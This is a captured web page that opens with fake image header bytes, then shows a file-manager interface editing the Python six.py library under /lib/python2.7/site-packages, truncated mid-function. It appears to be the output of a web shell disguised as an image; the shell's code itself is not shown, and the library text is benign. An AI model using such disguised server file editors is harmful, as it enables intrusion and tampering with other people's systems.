�PNG
�JFIF������
<style>  
body { background:#1a1a1a; color:#ccc; font-family:monospace; padding:20px; }  
a { color:#6cf; text-decoration:none; }  
a:hover { text-decoration:underline; }  
textarea,input[type=text] { width:100%; font-family:monospace; background:#222; color:#fff; border:1px solid #444; }  
input[type=submit] { background:#333; color:#fff; border:none; padding:5px 10px; }  
</style><h2>🗂️ simple</h2><p><b>Path:</b> <a href='?path=%2Flib%2F'>lib</a>/<a href='?path=%2Flib%2Fpython2.7%2F'>python2.7</a>/<a href='?path=%2Flib%2Fpython2.7%2Fsite-packages%2F'>site-packages</a>/</p><hr><h3>✏️ Editing: six.py</h3>  
        <form method='post'>  
            <textarea name='content' rows='20'># Copyright (c) 2010-2017 Benjamin Peterson
#
# Permission is hereby granted, free of charge, to any person obtaining a copy
# of this software and associated documentation files (the &quot;Software&quot;), to deal
# in the Software without restriction, including without limitation the rights
# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
# copies of the Software, and to permit persons to whom the Software is
# furnished to do so, subject to the following conditions:
#
# The above copyright notice and this permission notice shall be included in all
# copies or substantial portions of the Software.
#
# THE SOFTWARE IS PROVIDED &quot;AS IS&quot;, WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
# SOFTWARE.

&quot;&quot;&quot;Utilities for writing code that runs on Python 2 and 3&quot;&quot;&quot;

from __future__ import absolute_import

import functools
import itertools
import operator
import sys
import types

__author__ = &quot;Benjamin Peterson &lt;benjamin@python.org&gt;&quot;
__version__ = &quot;1.11.0&quot;


# Useful for very coarse version differentiation.
PY2 = sys.version_info[0] == 2
PY3 = sys.version_info[0] == 3
PY34 = sys.version_info[0:2] &gt;= (3, 4)

if PY3:
    string_types = str,
    integer_types = int,
    class_types = type,
    text_type = str
    binary_type = bytes

    MAXSIZE = sys.maxsize
else:
    string_types = basestring,
    integer_types = (int, long)
    class_types = (type, types.ClassType)
    text_type = unicode
    binary_type = str

    if sys.platform.startswith(&quot;java&quot;):
        # Jython always uses 32 bits.
        MAXSIZE = int((1 &lt;&lt; 31) - 1)
    else:
        # It's possible to have sizeof(long) != sizeof(Py_ssize_t).
        class X(object):

            def __len__(self):
                return 1 &lt;&lt; 31
        try:
            len(X())
        except OverflowError:
            # 32-bit
            MAXSIZE = int((1 &lt;&lt; 31) - 1)
        else:
            # 64-bit
            MAXSIZE = int((1 &lt;&lt; 63) - 1)
        del X


def _add_doc(func, doc):
    &quot;&quot;&quot;Add documentation to a function.&quot;&quot;&quot;
    func.__doc__ = doc


def _import_module(name):
    &quot;&quot;&quot;Import module, returning the module after the last dot.&quot;&quot;&quot;
    __import__(name)
    return sys.modules[name]


class _LazyDescr(object):

    def __init__(self, name):
        self.name = name

    def __get__(self, obj, tp):
        result = self._resolve()
        setattr(obj, self.name, result)  # Invokes __set__.
        try:
            # This is a bit ugly, but it avoids running this again by
            # removing this descriptor.
            delattr(obj.__class__, self.name)
        except AttributeError:
            pass
        return result


class MovedModule(_LazyDescr):

    def __init__(self, name, old, new=None):
        super(MovedModule, self).__init__(name)
        if PY3:
            if new is None:
                new = name
            self.mod = new
        else:
            self.mod = old

    def _resolve(self):
        return _import_module(self.mod)

    def __getattr__(self, attr):
        _module = self._resolve()
        value = getattr(_module, attr)
        setattr(self, attr, value)
        return value


class _LazyModule(types.ModuleType):

    def __init__(self, name):
        super(_LazyModule, self).__init__(name)
        self.__doc__ = self.__class__.__doc__

    def __dir__(self):
        attrs = [&quot;__doc__&quot;, &quot;__name__&quot;]
        attrs += [attr.name for attr in self._moved_attributes]
        return attrs

    # Subclasses should override this
    _moved_attributes = []


class MovedAttribute(_LazyDescr):

    def __init__(self, name, old_mod, new_mod, old_attr=None, new_attr=None):
        super(MovedAttribute, self).__init__(name)
        if PY3:
            if new_mod is None:
                new_mod = name
            self.mod = new_mod
            if new_attr is None:
                if old_attr is None:
                    new_attr = name
                else:
                    new_attr = old_attr
            self.attr = new_attr
        else:
            self.mod = old_mod
            if old_attr is None:
                old_attr = name
            self.attr = old_attr

    def _resolve(self):
        module = _import_module(self.mod)
        return getattr(module, self.attr)


class _SixMetaPathImporter(object):

    &quot;&quot;&quot;
    A meta path importer to import six.moves and its submodules.

    This class implements a PEP302 finder and loader. It should be compatible
    with Python 2.5 and all existing versions of Python3
    &quot;&quot;&quot;

    def __init__(self, six_module_name):
        self.name = six_module_name
        self.known_modules = {}

    def _add_module(self, mod, *fullnames):
        for fullname in fullnames:
            self.known_modules[self.name + &quot;.&quot; + fullname] = mod

    def _get_module(self, fullname):
        return self.known_modules[self.name + &quot;.&quot; + fullname]

    def find_module(self, fullname, path=None):
        if fullname in self.known_modules:
            return self
        return None

    def __get_module(self, fullname):
        try:
            return self.known_modules[fullname]
        except KeyError:
            raise ImportError(&quot;This loader does not know module &quot; + fullname)

    def load_module(self, fullname):
        try:
            # in case of a reload
            return sys.modules[fullname]
        except KeyError:
            pass
        mod = self.__get_module(fullname)
        if isinstance(mod, MovedModule):
            mod = mod._resolve()
        else:
            mod.__loader__ = self
        sys.modules[fullname] = mod
        return mod

    def is_package(self, fullname):
        &quot;&quot;&quot;
        Return true, if the named module is a package.

        We need this method to get correct spec objects with
        Python 3.4 (see PEP451)
        &quot;&quot;&quot;
        return hasattr(self.__get_module(fullname), &quot;__path__&quot;)

    def get_code(self, fullname):
        &quot;&quot;&quot;Return None

        Required, if is_package is implemented&quot;&quot;&quot;
        self.__get_module(fullname)  # eventually raises ImportError
        return None
    get_source = get_code  # same as get_code

_importer = _SixMetaPathImporter(__name__)


class _MovedItems(_LazyModule):

    &quot;&quot;&quot;Lazy loading of moved objects&quot;&quot;&quot;
    __path__ = []  # mark as package


_moved_attributes = [
    MovedAttribute(&quot;cStringIO&quot;, &quot;cStringIO&quot;, &quot;io&quot;, &quot;StringIO&quot;),
    MovedAttribute(&quot;filter&quot;, &quot;itertools&quot;, &quot;builtins&quot;, &quot;ifilter&quot;, &quot;filter&quot;),
    MovedAttribute(&quot;filterfalse&quot;, &quot;itertools&quot;, &quot;itertools&quot;, &quot;ifilterfalse&quot;, &quot;filterfalse&quot;),
    MovedAttribute(&quot;input&quot;, &quot;__builtin__&quot;, &quot;builtins&quot;, &quot;raw_input&quot;, &quot;input&quot;),
    MovedAttribute(&quot;intern&quot;, &quot;__builtin__&quot;, &quot;sys&quot;),
    MovedAttribute(&quot;map&quot;, &quot;itertools&quot;, &quot;builtins&quot;, &quot;imap&quot;, &quot;map&quot;),
    MovedAttribute(&quot;getcwd&quot;, &quot;os&quot;, &quot;os&quot;, &quot;getcwdu&quot;, &quot;getcwd&quot;),
    MovedAttribute(&quot;getcwdb&quot;, &quot;os&quot;, &quot;os&quot;, &quot;getcwd&quot;, &quot;getcwdb&quot;),
    MovedAttribute(&quot;getoutput&quot;, &quot;commands&quot;, &quot;subprocess&quot;),
    MovedAttribute(&quot;range&quot;, &quot;__builtin__&quot;, &quot;builtins&quot;, &quot;xrange&quot;, &quot;range&quot;),
    MovedAttribute(&quot;reload_module&quot;, &quot;__builtin__&quot;, &quot;importlib&quot; if PY34 else &quot;imp&quot;, &quot;reload&quot;),
    MovedAttribute(&quot;reduce&quot;, &quot;__builtin__&quot;, &quot;functools&quot;),
    MovedAttribute(&quot;shlex_quote&quot;, &quot;pipes&quot;, &quot;shlex&quot;, &quot;quote&quot;),
    MovedAttribute(&quot;StringIO&quot;, &quot;StringIO&quot;, &quot;io&quot;),
    MovedAttribute(&quot;UserDict&quot;, &quot;UserDict&quot;, &quot;collections&quot;),
    MovedAttribute(&quot;UserList&quot;, &quot;UserList&quot;, &quot;collections&quot;),
    MovedAttribute(&quot;UserString&quot;, &quot;UserString&quot;, &quot;collections&quot;),
    MovedAttribute(&quot;xrange&quot;, &quot;__builtin__&quot;, &quot;builtins&quot;, &quot;xrange&quot;, &quot;range&quot;),
    MovedAttribute(&quot;zip&quot;, &quot;itertools&quot;, &quot;builtins&quot;, &quot;izip&quot;, &quot;zip&quot;),
    MovedAttribute(&quot;zip_longest&quot;, &quot;itertools&quot;, &quot;itertools&quot;, &quot;izip_longest&quot;, &quot;zip_longest&quot;),
    MovedModule(&quot;builtins&quot;, &quot;__builtin__&quot;),
    MovedModule(&quot;configparser&quot;, &quot;ConfigParser&quot;),
    MovedModule(&quot;copyreg&quot;, &quot;copy_reg&quot;),
    MovedModule(&quot;dbm_gnu&quot;, &quot;gdbm&quot;, &quot;dbm.gnu&quot;),
    MovedModule(&quot;_dummy_thread&quot;, &quot;dummy_thread&quot;, &quot;_dummy_thread&quot;),
    MovedModule(&quot;http_cookiejar&quot;, &quot;cookielib&quot;, &quot;http.cookiejar&quot;),
    MovedModule(&quot;http_cookies&quot;, &quot;Cookie&quot;, &quot;http.cookies&quot;),
    MovedModule(&quot;html_entities&quot;, &quot;htmlentitydefs&quot;, &quot;html.entities&quot;),
    MovedModule(&quot;html_parser&quot;, &quot;HTMLParser&quot;, &quot;html.parser&quot;),
    MovedModule(&quot;http_client&quot;, &quot;httplib&quot;, &quot;http.client&quot;),
    MovedModule(&quot;email_mime_base&quot;, &quot;email.MIMEBase&quot;, &quot;email.mime.base&quot;),
    MovedModule(&quot;email_mime_image&quot;, &quot;email.MIMEImage&quot;, &quot;email.mime.image&quot;),
    MovedModule(&quot;email_mime_multipart&quot;, &quot;email.MIMEMultipart&quot;, &quot;email.mime.multipart&quot;),
    MovedModule(&quot;email_mime_nonmultipart&quot;, &quot;email.MIMENonMultipart&quot;, &quot;email.mime.nonmultipart&quot;),
    MovedModule(&quot;email_mime_text&quot;, &quot;email.MIMEText&quot;, &quot;email.mime.text&quot;),
    MovedModule(&quot;BaseHTTPServer&quot;, &quot;BaseHTTPServer&quot;, &quot;http.server&quot;),
    MovedModule(&quot;CGIHTTPServer&quot;, &quot;CGIHTTPServer&quot;, &quot;http.server&quot;),
    MovedModule(&quot;SimpleHTTPServer&quot;, &quot;SimpleHTTPServer&quot;, &quot;http.server&quot;),
    MovedModule(&quot;cPickle&quot;, &quot;cPickle&quot;, &quot;pickle&quot;),
    MovedModule(&quot;queue&quot;, &quot;Queue&quot;),
    MovedModule(&quot;reprlib&quot;, &quot;repr&quot;),
    MovedModule(&quot;socketserver&quot;, &quot;SocketServer&quot;),
    MovedModule(&quot;_thread&quot;, &quot;thread&quot;, &quot;_thread&quot;),
    MovedModule(&quot;tkinter&quot;, &quot;Tkinter&quot;),
    MovedModule(&quot;tkinter_dialog&quot;, &quot;Dialog&quot;, &quot;tkinter.dialog&quot;),
    MovedModule(&quot;tkinter_filedialog&quot;, &quot;FileDialog&quot;, &quot;tkinter.filedialog&quot;),
    MovedModule(&quot;tkinter_scrolledtext&quot;, &quot;ScrolledText&quot;, &quot;tkinter.scrolledtext&quot;),
    MovedModule(&quot;tkinter_simpledialog&quot;, &quot;SimpleDialog&quot;, &quot;tkinter.simpledialog&quot;),
    MovedModule(&quot;tkinter_tix&quot;, &quot;Tix&quot;, &quot;tkinter.tix&quot;),
    MovedModule(&quot;tkinter_ttk&quot;, &quot;ttk&quot;, &quot;tkinter.ttk&quot;),
    MovedModule(&quot;tkinter_constants&quot;, &quot;Tkconstants&quot;, &quot;tkinter.constants&quot;),
    MovedModule(&quot;tkinter_dnd&quot;, &quot;Tkdnd&quot;, &quot;tkinter.dnd&quot;),
    MovedModule(&quot;tkinter_colorchooser&quot;, &quot;tkColorChooser&quot;,
                &quot;tkinter.colorchooser&quot;),
    MovedModule(&quot;tkinter_commondialog&quot;, &quot;tkCommonDialog&quot;,
                &quot;tkinter.commondialog&quot;),
    MovedModule(&quot;tkinter_tkfiledialog&quot;, &quot;tkFileDialog&quot;, &quot;tkinter.filedialog&quot;),
    MovedModule(&quot;tkinter_font&quot;, &quot;tkFont&quot;, &quot;tkinter.font&quot;),
    MovedModule(&quot;tkinter_messagebox&quot;, &quot;tkMessageBox&quot;, &quot;tkinter.messagebox&quot;),
    MovedModule(&quot;tkinter_tksimpledialog&quot;, &quot;tkSimpleDialog&quot;,
                &quot;tkinter.simpledialog&quot;),
    MovedModule(&quot;urllib_parse&quot;, __name__ + &quot;.moves.urllib_parse&quot;, &quot;urllib.parse&quot;),
    MovedModule(&quot;urllib_error&quot;, __name__ + &quot;.moves.urllib_error&quot;, &quot;urllib.error&quot;),
    MovedModule(&quot;urllib&quot;, __name__ + &quot;.moves.urllib&quot;, __name__ + &quot;.moves.urllib&quot;),
    MovedModule(&quot;urllib_robotparser&quot;, &quot;robotparser&quot;, &quot;urllib.robotparser&quot;),
    MovedModule(&quot;xmlrpc_client&quot;, &quot;xmlrpclib&quot;, &quot;xmlrpc.client&quot;),
    MovedModule(&quot;xmlrpc_server&quot;, &quot;SimpleXMLRPCServer&quot;, &quot;xmlrpc.server&quot;),
]
# Add windows specific modules.
if sys.platform == &quot;win32&quot;:
    _moved_attributes += [
        MovedModule(&quot;winreg&quot;, &quot;_winreg&quot;),
    ]

for attr in _moved_attributes:
    setattr(_MovedItems, attr.name, attr)
    if isinstance(attr, MovedModule):
        _importer._add_module(attr, &quot;moves.&quot; + attr.name)
del attr

_MovedItems._moved_attributes = _moved_attributes

moves = _MovedItems(__name__ + &quot;.moves&quot;)
_importer._add_module(moves, &quot;moves&quot;)


class Module_six_moves_urllib_parse(_LazyModule):

    &quot;&quot;&quot;Lazy loading of moved objects in six.moves.urllib_parse&quot;&quot;&quot;


_urllib_parse_moved_attributes = [
    MovedAttribute(&quot;ParseResult&quot;, &quot;urlparse&quot;, &quot;urllib.parse&quot;),
    MovedAttribute(&quot;SplitResult&quot;, &quot;urlparse&quot;, &quot;urllib.parse&quot;),
    MovedAttribute(&quot;parse_qs&quot;, &quot;urlparse&quot;, &quot;urllib.parse&quot;),
    MovedAttribute(&quot;parse_qsl&quot;, &quot;urlparse&quot;, &quot;urllib.parse&quot;),
    MovedAttribute(&quot;urldefrag&quot;, &quot;urlparse&quot;, &quot;urllib.parse&quot;),
    MovedAttribute(&quot;urljoin&quot;, &quot;urlparse&quot;, &quot;urllib.parse&quot;),
    MovedAttribute(&quot;urlparse&quot;, &quot;urlparse&quot;, &quot;urllib.parse&quot;),
    MovedAttribute(&quot;urlsplit&quot;, &quot;urlparse&quot;, &quot;urllib.parse&quot;),
    MovedAttribute(&quot;urlunparse&quot;, &quot;urlparse&quot;, &quot;urllib.parse&quot;),
    MovedAttribute(&quot;urlunsplit&quot;, &quot;urlparse&quot;, &quot;urllib.parse&quot;),
    MovedAttribute(&quot;quote&quot;, &quot;urllib&quot;, &quot;urllib.parse&quot;),
    MovedAttribute(&quot;quote_plus&quot;, &quot;urllib&quot;, &quot;urllib.parse&quot;),
    MovedAttribute(&quot;unquote&quot;, &quot;urllib&quot;, &quot;urllib.parse&quot;),
    MovedAttribute(&quot;unquote_plus&quot;, &quot;urllib&quot;, &quot;urllib.parse&quot;),
    MovedAttribute(&quot;unquote_to_bytes&quot;, &quot;urllib&quot;, &quot;urllib.parse&quot;, &quot;unquote&quot;, &quot;unquote_to_bytes&quot;),
    MovedAttribute(&quot;urlencode&quot;, &quot;urllib&quot;, &quot;urllib.parse&quot;),
    MovedAttribute(&quot;splitquery&quot;, &quot;urllib&quot;, &quot;urllib.parse&quot;),
    MovedAttribute(&quot;splittag&quot;, &quot;urllib&quot;, &quot;urllib.parse&quot;),
    MovedAttribute(&quot;splituser&quot;, &quot;urllib&quot;, &quot;urllib.parse&quot;),
    MovedAttribute(&quot;splitvalue&quot;, &quot;urllib&quot;, &quot;urllib.parse&quot;),
    MovedAttribute(&quot;uses_fragment&quot;, &quot;urlparse&quot;, &quot;urllib.parse&quot;),
    MovedAttribute(&quot;uses_netloc&quot;, &quot;urlparse&quot;, &quot;urllib.parse&quot;),
    MovedAttribute(&quot;uses_params&quot;, &quot;urlparse&quot;, &quot;urllib.parse&quot;),
    MovedAttribute(&quot;uses_query&quot;, &quot;urlparse&quot;, &quot;urllib.parse&quot;),
    MovedAttribute(&quot;uses_relative&quot;, &quot;urlparse&quot;, &quot;urllib.parse&quot;),
]
for attr in _urllib_parse_moved_attributes:
    setattr(Module_six_moves_urllib_parse, attr.name, attr)
del attr

Module_six_moves_urllib_parse._moved_attributes = _urllib_parse_moved_attributes

_importer._add_module(Module_six_moves_urllib_parse(__name__ + &quot;.moves.urllib_parse&quot;),
                      &quot;moves.urllib_parse&quot;, &quot;moves.urllib.parse&quot;)


class Module_six_moves_urllib_error(_LazyModule):

    &quot;&quot;&quot;Lazy loading of moved objects in six.moves.urllib_error&quot;&quot;&quot;


_urllib_error_moved_attributes = [
    MovedAttribute(&quot;URLError&quot;, &quot;urllib2&quot;, &quot;urllib.error&quot;),
    MovedAttribute(&quot;HTTPError&quot;, &quot;urllib2&quot;, &quot;urllib.error&quot;),
    MovedAttribute(&quot;ContentTooShortError&quot;, &quot;urllib&quot;, &quot;urllib.error&quot;),
]
for attr in _urllib_error_moved_attributes:
    setattr(Module_six_moves_urllib_error, attr.name, attr)
del attr

Module_six_moves_urllib_error._moved_attributes = _urllib_error_moved_attributes

_importer._add_module(Module_six_moves_urllib_error(__name__ + &quot;.moves.urllib.error&quot;),
                      &quot;moves.urllib_error&quot;, &quot;moves.urllib.error&quot;)


class Module_six_moves_urllib_request(_LazyModule):

    &quot;&quot;&quot;Lazy loading of moved objects in six.moves.urllib_request&quot;&quot;&quot;


_urllib_request_moved_attributes = [
    MovedAttribute(&quot;urlopen&quot;, &quot;urllib2&quot;, &quot;urllib.request&quot;),
    MovedAttribute(&quot;install_opener&quot;, &quot;urllib2&quot;, &quot;urllib.request&quot;),
    MovedAttribute(&quot;build_opener&quot;, &quot;urllib2&quot;, &quot;urllib.request&quot;),
    MovedAttribute(&quot;pathname2url&quot;, &quot;urllib&quot;, &quot;urllib.request&quot;),
    MovedAttribute(&quot;url2pathname&quot;, &quot;urllib&quot;, &quot;urllib.request&quot;),
    MovedAttribute(&quot;getproxies&quot;, &quot;urllib&quot;, &quot;urllib.request&quot;),
    MovedAttribute(&quot;Request&quot;, &quot;urllib2&quot;, &quot;urllib.request&quot;),
    MovedAttribute(&quot;OpenerDirector&quot;, &quot;urllib2&quot;, &quot;urllib.request&quot;),
    MovedAttribute(&quot;HTTPDefaultErrorHandler&quot;, &quot;urllib2&quot;, &quot;urllib.request&quot;),
    MovedAttribute(&quot;HTTPRedirectHandler&quot;, &quot;urllib2&quot;, &quot;urllib.request&quot;),
    MovedAttribute(&quot;HTTPCookieProcessor&quot;, &quot;urllib2&quot;, &quot;urllib.request&quot;),
    MovedAttribute(&quot;ProxyHandler&quot;, &quot;urllib2&quot;, &quot;urllib.request&quot;),
    MovedAttribute(&quot;BaseHandler&quot;, &quot;urllib2&quot;, &quot;urllib.request&quot;),
    MovedAttribute(&quot;HTTPPasswordMgr&quot;, &quot;urllib2&quot;, &quot;urllib.request&quot;),
    MovedAttribute(&quot;HTTPPasswordMgrWithDefaultRealm&quot;, &quot;urllib2&quot;, &quot;urllib.request&quot;),
    MovedAttribute(&quot;AbstractBasicAuthHandler&quot;, &quot;urllib2&quot;, &quot;urllib.request&quot;),
    MovedAttribute(&quot;HTTPBasicAuthHandler&quot;, &quot;urllib2&quot;, &quot;urllib.request&quot;),
    MovedAttribute(&quot;ProxyBasicAuthHandler&quot;, &quot;urllib2&quot;, &quot;urllib.request&quot;),
    MovedAttribute(&quot;AbstractDigestAuthHandler&quot;, &quot;urllib2&quot;, &quot;urllib.request&quot;),
    MovedAttribute(&quot;HTTPDigestAuthHandler&quot;, &quot;urllib2&quot;, &quot;urllib.request&quot;),
    MovedAttribute(&quot;ProxyDigestAuthHandler&quot;, &quot;urllib2&quot;, &quot;urllib.request&quot;),
    MovedAttribute(&quot;HTTPHandler&quot;, &quot;urllib2&quot;, &quot;urllib.request&quot;),
    MovedAttribute(&quot;HTTPSHandler&quot;, &quot;urllib2&quot;, &quot;urllib.request&quot;),
    MovedAttribute(&quot;FileHandler&quot;, &quot;urllib2&quot;, &quot;urllib.request&quot;),
    MovedAttribute(&quot;FTPHandler&quot;, &quot;urllib2&quot;, &quot;urllib.request&quot;),
    MovedAttribute(&quot;CacheFTPHandler&quot;, &quot;urllib2&quot;, &quot;urllib.request&quot;),
    MovedAttribute(&quot;UnknownHandler&quot;, &quot;urllib2&quot;, &quot;urllib.request&quot;),
    MovedAttribute(&quot;HTTPErrorProcessor&quot;, &quot;urllib2&quot;, &quot;urllib.request&quot;),
    MovedAttribute(&quot;urlretrieve&quot;, &quot;urllib&quot;, &quot;urllib.request&quot;),
    MovedAttribute(&quot;urlcleanup&quot;, &quot;urllib&quot;, &quot;urllib.request&quot;),
    MovedAttribute(&quot;URLopener&quot;, &quot;urllib&quot;, &quot;urllib.request&quot;),
    MovedAttribute(&quot;FancyURLopener&quot;, &quot;urllib&quot;, &quot;urllib.request&quot;),
    MovedAttribute(&quot;proxy_bypass&quot;, &quot;urllib&quot;, &quot;urllib.request&quot;),
    MovedAttribute(&quot;parse_http_list&quot;, &quot;urllib2&quot;, &quot;urllib.request&quot;),
    MovedAttribute(&quot;parse_keqv_list&quot;, &quot;urllib2&quot;, &quot;urllib.request&quot;),
]
for attr in _urllib_request_moved_attributes:
    setattr(Module_six_moves_urllib_request, attr.name, attr)
del attr

Module_six_moves_urllib_request._moved_attributes = _urllib_request_moved_attributes

_importer._add_module(Module_six_moves_urllib_request(__name__ + &quot;.moves.urllib.request&quot;),
                      &quot;moves.urllib_request&quot;, &quot;moves.urllib.request&quot;)


class Module_six_moves_urllib_response(_LazyModule):

    &quot;&quot;&quot;Lazy loading of moved objects in six.moves.urllib_response&quot;&quot;&quot;


_urllib_response_moved_attributes = [
    MovedAttribute(&quot;addbase&quot;, &quot;urllib&quot;, &quot;urllib.response&quot;),
    MovedAttribute(&quot;addclosehook&quot;, &quot;urllib&quot;, &quot;urllib.response&quot;),
    MovedAttribute(&quot;addinfo&quot;, &quot;urllib&quot;, &quot;urllib.response&quot;),
    MovedAttribute(&quot;addinfourl&quot;, &quot;urllib&quot;, &quot;urllib.response&quot;),
]
for attr in _urllib_response_moved_attributes:
    setattr(Module_six_moves_urllib_response, attr.name, attr)
del attr

Module_six_moves_urllib_response._moved_attributes = _urllib_response_moved_attributes

_importer._add_module(Module_six_moves_urllib_response(__name__ + &quot;.moves.urllib.response&quot;),
                      &quot;moves.urllib_response&quot;, &quot;moves.urllib.response&quot;)


class Module_six_moves_urllib_robotparser(_LazyModule):

    &quot;&quot;&quot;Lazy loading of moved objects in six.moves.urllib_robotparser&quot;&quot;&quot;


_urllib_robotparser_moved_attributes = [
    MovedAttribute(&quot;RobotFileParser&quot;, &quot;robotparser&quot;, &quot;urllib.robotparser&quot;),
]
for attr in _urllib_robotparser_moved_attributes:
    setattr(Module_six_moves_urllib_robotparser, attr.name, attr)
del attr

Module_six_moves_urllib_robotparser._moved_attributes = _urllib_robotparser_moved_attributes

_importer._add_module(Module_six_moves_urllib_robotparser(__name__ + &quot;.moves.urllib.robotparser&quot;),
                      &quot;moves.urllib_robotparser&quot;, &quot;moves.urllib.robotparser&quot;)


class Module_six_moves_urllib(types.ModuleType):

    &quot;&quot;&quot;Create a six.moves.urllib namespace that resembles the Python 3 namespace&quot;&quot;&quot;
    __path__ = []  # mark as package
    parse = _importer._get_module(&quot;moves.urllib_parse&quot;)
    error = _importer._get_module(&quot;moves.urllib_error&quot;)
    request = _importer._get_module(&quot;moves.urllib_request&quot;)
    response = _importer._get_module(&quot;moves.urllib_response&quot;)
    robotparser = _importer._get_module(&quot;moves.urllib_robotparser&quot;)

    def __dir__(self):
        return ['parse', 'error', 'request', 'response', 'robotparser']

_importer._add_module(Module_six_moves_urllib(__name__ + &quot;.moves.urllib&quot;),
                      &quot;moves.urllib&quot;)


def add_move(move):
    &quot;&quot;&quot;Add an item to six.moves.&quot;&quot;&quot;
    setattr(_MovedItems, move.name, move)


def remove_move(name):
    &quot;&quot;&quot;Remove item from six.moves.&quot;&quot;&quot;
    try:
        delattr(_MovedItems, name)
    except AttributeError:
        try:
            del moves.__dict__[name]
        except KeyError:
            raise AttributeError(&quot;no such move, %r&quot; % (name,))


if PY3:
    _meth_func = &quot;__func__&quot;
    _meth_self = &quot;__self__&quot;

    _func_closure = &quot;__closure__&quot;
    _func_code = &quot;__code__&quot;
    _func_defaults = &quot;__defaults__&quot;
    _func_globals = &quot;__globals__&quot;
else:
    _meth_func = &quot;im_func&quot;
    _meth_self = &quot;im_self&quot;

    _func_closure = &quot;func_closure&quot;
    _func_code = &quot;func_code&quot;
    _func_defaults = &quot;func_defaults&quot;
    _func_globals = &quot;func_globals&quot;


try:
    advance_iterator = next
except NameError:
    def advance_iterator(it):
        return it.next()
next = advance_iterator


try:
    callable = callable
except NameError:
    def callable(obj):
        return any(&quot;__call__&quot; in klass.__dict__ for klass in type(obj).__mro__)


if PY3:
    def get_unbound_function(unbound):
        return unbound

    create_bound_method = types.MethodType

    def create_unbound_method(func, cls):
        return func

    Iterator = object
else:
    def get_unbound_function(unbound):
        return unbound.im_func

    def create_bound_method(func, obj):
        return types.MethodType(func, obj, obj.__class__)

    def create_unbound_method(func, cls):
        return types.MethodType(func, None, cls)

    class Iterator(object):

        def next(self):
            return type(self).__next__(self)

    callable = callable
_add_doc(get_unbound_function,
         &quot;&quot;&quot;Get the function out of a possibly unbound function&quot;&quot;&quot;)


get_method_function = operator.attrgetter(_meth_func)
get_method_self = operator.attrgetter(_meth_self)
get_function_closure = operator.attrgetter(_func_closure)
get_function_code = operator.attrgetter(_func_code)
get_function_defaults = operator.attrgetter(_func_defaults)
get_function_globals = operator.attrgetter(_func_globals)


if PY3:
    def iterkeys(d, **kw):
        return iter(d.keys(**kw))

    def itervalues(d, **kw):
        return iter(d.values(**kw))

    def iteritems(d, **kw):
        return iter(d.items(**kw))

    def iterlists(d, **kw):
        return iter(d.lists(**kw))

    viewkeys = operator.methodcaller(&quot;keys&quot;)

    viewvalues = operator.methodcaller(&quot;values&quot;)

    viewitems = operator.methodcaller(&quot;items&quot;)
else:
    def iterkeys(d, **kw):
        return d.iterkeys(**kw)

    def itervalues(d, **kw):
        return d.itervalues(**kw)

    def iteritems(d, **kw):
        return d.iteritems(**kw)

    def iterlists(d, **kw):
        return d.iterlists(**kw)

    viewkeys = operator.methodcaller(&quot;viewkeys&quot;)

    viewvalues = operator.methodcaller(&quot;viewvalues&quot;)

    viewitems = operator.methodcaller(&quot;viewitems&quot;)

_add_doc(iterkeys, &quot;Return an iterator over the keys of a dictionary.&quot;)
_add_doc(itervalues, &quot;Return an iterator over the values of a dictionary.&quot;)
_add_doc(iteritems,
         &quot;Return an iterator over the (key, value) pairs of a dictionary.&quot;)
_add_doc(iterlists,
         &quot;Return an iterator over the (key, [values]) pairs of a dictionary.&quot;)


if PY3:
    def b(s):
        return s.encode(&quot;latin-1&quot;)

    def u(s):
        return s
    unichr = chr
    import struct
    int2byte = struct.Struct(&quot;&gt;B&quot;).pack
    del struct
    byte2int = operator.itemgetter(0)
    indexbytes = operator.getitem
    iterbytes = iter
    import io
    StringIO = io.StringIO
    BytesIO = io.BytesIO
    _assertCountEqual = &quot;assertCountEqual&quot;
    if sys.version_info[1] &lt;= 1:
        _assertRaisesRegex = &quot;assertRaisesRegexp&quot;
        _assertRegex = &quot;assertRegexpMatches&quot;
    else:
        _assertRaisesRegex = &quot;assertRaisesRegex&quot;
        _assertRegex = &quot;assertRegex&quot;
else:
    def b(s):
        return s
    # Workaround for standalone backslash

    def u(s):
        return unicode(s.replace(r'\\', r'\\\\'), &quot;unicode_escape&quot;)
    unichr = unichr
    int2byte = chr

    def byte2int(bs):
        return ord(bs[0])

    def indexbytes(buf, i):
        return ord(buf[i])
    iterbytes = functools.partial(itertools.imap, ord)
    import StringIO
    StringIO = BytesIO = StringIO.StringIO
    _assertCountEqual = &quot;assertItemsEqual&quot;
    _assertRaisesRegex = &quot;assertRaisesRegexp&quot;
    _assertRegex = &quot;assertRegexpMatches&quot;
_add_doc(b, &quot;&quot;&quot;Byte literal&quot;&quot;&quot;)
_add_doc(u, &quot;&quot;&quot;Text literal&quot;&quot;&quot;)


def assertCountEqual(self, *args, **kwargs):
    return getattr(self, _assertCountEqual)(*args, **kwargs)


def assertRaisesRegex(self, *args, **kwargs):
    return getattr(self, _assertRaisesRegex)(*args, **kwargs)


def assertRegex(self, *args, **kwargs):
    return getattr(self, _assertRegex)(*args, **kwargs)


if PY3:
    exec_ = getattr(moves.builtins, &quot;exec&quot;)

    def reraise(tp, value, tb=None):
        try:
            if value is None:
                value = tp()
            if value.__traceback__ is not tb:
                raise value.with_traceback(tb)
            raise value
        finally:
            value = None
            tb = None

else:
    def exec_(_code_, _globs_=None, _locs_=None):
        &quot;&quot;&quot;Execute code in a namespace.&quot;&quot;&quot;
        if _globs_ is None:
            frame = sys._getframe(1)
            _globs_ = frame.f_globals
            if _locs_ is None:
                _locs_ = frame.f_locals
            del frame
        elif _locs_ is None:
            _locs_ = _globs_
        exec(&quot;&quot;&quot;exec _code_ in _globs_, _locs_&quot;&quot;&quot;)

    exec_(&quot;&quot;&quot;def reraise(tp, value, tb=None):
    try:
        raise tp, value, tb
    finally:
        tb = None
&quot;&quot;&quot;)


if sys.version_info[:2] == (3, 2):
    exec_(&quot;&quot;&quot;def raise_from(value, from_value):
    try:
